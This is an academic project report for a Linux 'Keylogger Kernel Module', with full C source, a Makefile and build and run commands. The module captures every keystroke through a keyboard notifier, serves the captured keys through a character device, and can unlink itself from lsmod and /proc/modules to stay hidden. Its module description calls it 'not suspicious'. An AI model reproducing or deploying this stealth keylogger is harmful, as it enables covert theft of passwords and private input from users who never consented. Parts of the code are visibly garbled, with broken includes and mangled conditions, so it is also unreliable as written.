# PROJECT REPORT ON

# **KEYLOGGER KERNEL MODULE**

### Submitted By:

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### **Under The Guidance Of:**

Dr. Jayaraj P B Assistant Professor, CSED

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## **CERTIFICATE**

This is to certify that Vatsala Hemdan(Roll No. M210660CA), Anuj Singh Kushwaha(Roll No. M210661CA) and Devansh Kaushik(Roll No. M210680CA) have successfully completed the project titled **Keylogger Kernel Module** under my supervision and guidance in the fulfilment of requirements of third semester, **Masters of Computer Applications(Computer Science & Engineering)** of National Institute of Technology Calicut, Kerala.

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### **ACKNOWLEDGMENT**

We deem it a pleasure to acknowledge our sense of gratitude to our project guide **Dr. Jayaraj P B, Professor-in-charge** under whom we have carried out the project work on the topic **Keylogger Kernel Module**. His incisive and objective guidance and timely advice encouraged us with constant flow of energy to continue the work.

We wish to reciprocate in full measure the kindness shown by **Dr. Subhasree M(H.O.D., Computer Science and Engineering)** who inspired us with his valuable suggestions in successfully completing the project work.

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It was a great learning experience and helped us in understanding various Linux kernel concepts.

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# **ABSTRACTION**

Keylogger is a stealthy linux kernel-based module. It is a loadable kernel module that hides itself from 'Ismod' command and /proc/modules.

It captures the keystrokes of the keyboard and outputs to a character device driver. Using the 'rmmod' command, an error is displayed showing no such module is running in the kernel. To remove the keylogger module, 'make clean' command can be used.

# **DEPENDENCIES/TOOLS USED**

- 1. VM VirtualBox Machine
- 2. Linux OS LTS 20.04 (Kernel Version: 5.11.0-43-generic)
- 3. GNU Make 4.2.1

## **SOURCE CODE**

#### <keylog.c>

```
#include linux/module.h>
#include linux/kernel.h>
#include linux/keyboard.h>
#include linux/notifier.h>
#include ux/fs.h>
#include linux/uaccess.h>
#ifdef HIDE MODULE
#include linux/list.h>
#include linux/kobject.h>
#endif
MODULE DESCRIPTION("A keyboard driver that is not suspicious");
MODULE AUTHOR("ANUJ-VATSALA-DEVANSH");
MODULE_LICENSE("GPL");
#define DEVICE_NAME "kl0"
unsigned major;
#ifndef BUFLEN
#define BUFLEN 1024
#endif
static char input buf[BUFLEN];
unsigned buf count = 0;
static int kl notifier call(struct notifier block *, unsigned long, void *);
static ssize_t kl_device_read(struct file *, char __user *, size_t, loff_t *);
static struct notifier_block kl_notifier_block = { .notifier_call =
                                               kl notifier call };
```

```
static struct file operations fops = { .read = kl device read };
static int kl_notifier_call(struct notifier_block *nb, unsigned long action,
                       void *data)
{
      struct keyboard notifier param *param = data;
      char c = param->value;
      if (!param->down || action != KBD_KEYSYM) {
             /* user not pressing key or event is not KBD_KEYSYM */
             return NOTIFY DONE;
      }
      if (c == 0x01) {
             input_buf[buf_count++] = 0x0a;
      ext{ } = 0x20 & c < 0x7f  {
             input buf[buf count++] = c;
      }
      if (buf_count >= BUFLEN) {
             buf count = 0;
             memset(input_buf, 0, BUFLEN);
      }
      return NOTIFY OK;
}
static ssize_t kl_device_read(struct file *fp, char __user *buf, size t len,
                        loff_t *offset)
{
      size t buflen = strlen(input buf);
      int ret:
      ret = copy to user(buf, input buf, buflen);
      if (ret) {
             printk(KERN ERR
                  "keylog: Unable to copy from kernel buffer to user space buffer\n");
             return -ret;
      }
      memset(input buf, 0, BUFLEN);
      buf count = 0;
```

```
return buflen;
}
static int init kl init(void)
{
      int ret;
      ret = register chrdev(0, DEVICE NAME, &fops);
      if (ret < 0) {
             printk(KERN_ERR
                 "keylog: Unable to register character device\n");
             return ret;
      major = ret;
      printk(KERN INFO "keylog: Registered device major number %u\n", major);
      ret = register_keyboard_notifier(&kl_notifier_block);
      if (ret) {
             printk(KERN_ERR
                 "keylog: Unable to register keyboard notifier\n");
             return -ret;
      }
      memset(input_buf, 0, BUFLEN);
#ifdef HIDE MODULE
      /* Hide myself from Ismod and /proc/modules :) */
      list del(&THIS MODULE->list);
      kobject_del(&THIS_MODULE->mkobj.kobj);
      list_del(&THIS_MODULE->mkobj.kobj.entry);
#endif
      return 0;
}
static void exit kl exit(void)
{
      unregister chrdev(major, DEVICE NAME);
      unregister keyboard notifier(&kl notifier block);
}
module_init(kl_init);
module exit(kl exit);
```

### <Makefile>

obj-m += keylog.o

all:

make -C /lib/modules/\$(shell uname -r)/build M=\$(PWD) modules

clean:

make -C /lib/modules/\$(shell uname -r)/build M=\$(PWD) clean

# **EXECUTION**

### << Assuming linux-headers are already installed>>

1. Compiling keylog.c file using make cmd and \_DHIDE\_MODULE, changing buffer size BUFLEN(storing key events). By default, it's 1024 bytes.

KCPPFLAGS="-DHIDE\_MODULE -DBUFLEN=2048" make

- 2. Check the allotted major number for module dmesg | tail -n1
- 3. Create a character device driver, say 237 is the major number. mknod chardev c 237 0
- 4. Open chardev file to check for captured keystrokes *cat chardev*

/\*result

dmesg | tail -n1 mknod chardev c 237 0 cat chardev

\*/

# **CONCLUSION**

Upon successful execution of the commands, the character device driver *chardev* receives keyboard events from the kernel which it stores. This is a loadable kernel module and after compilation it merges itself to the linux kernel until it is removed by the user.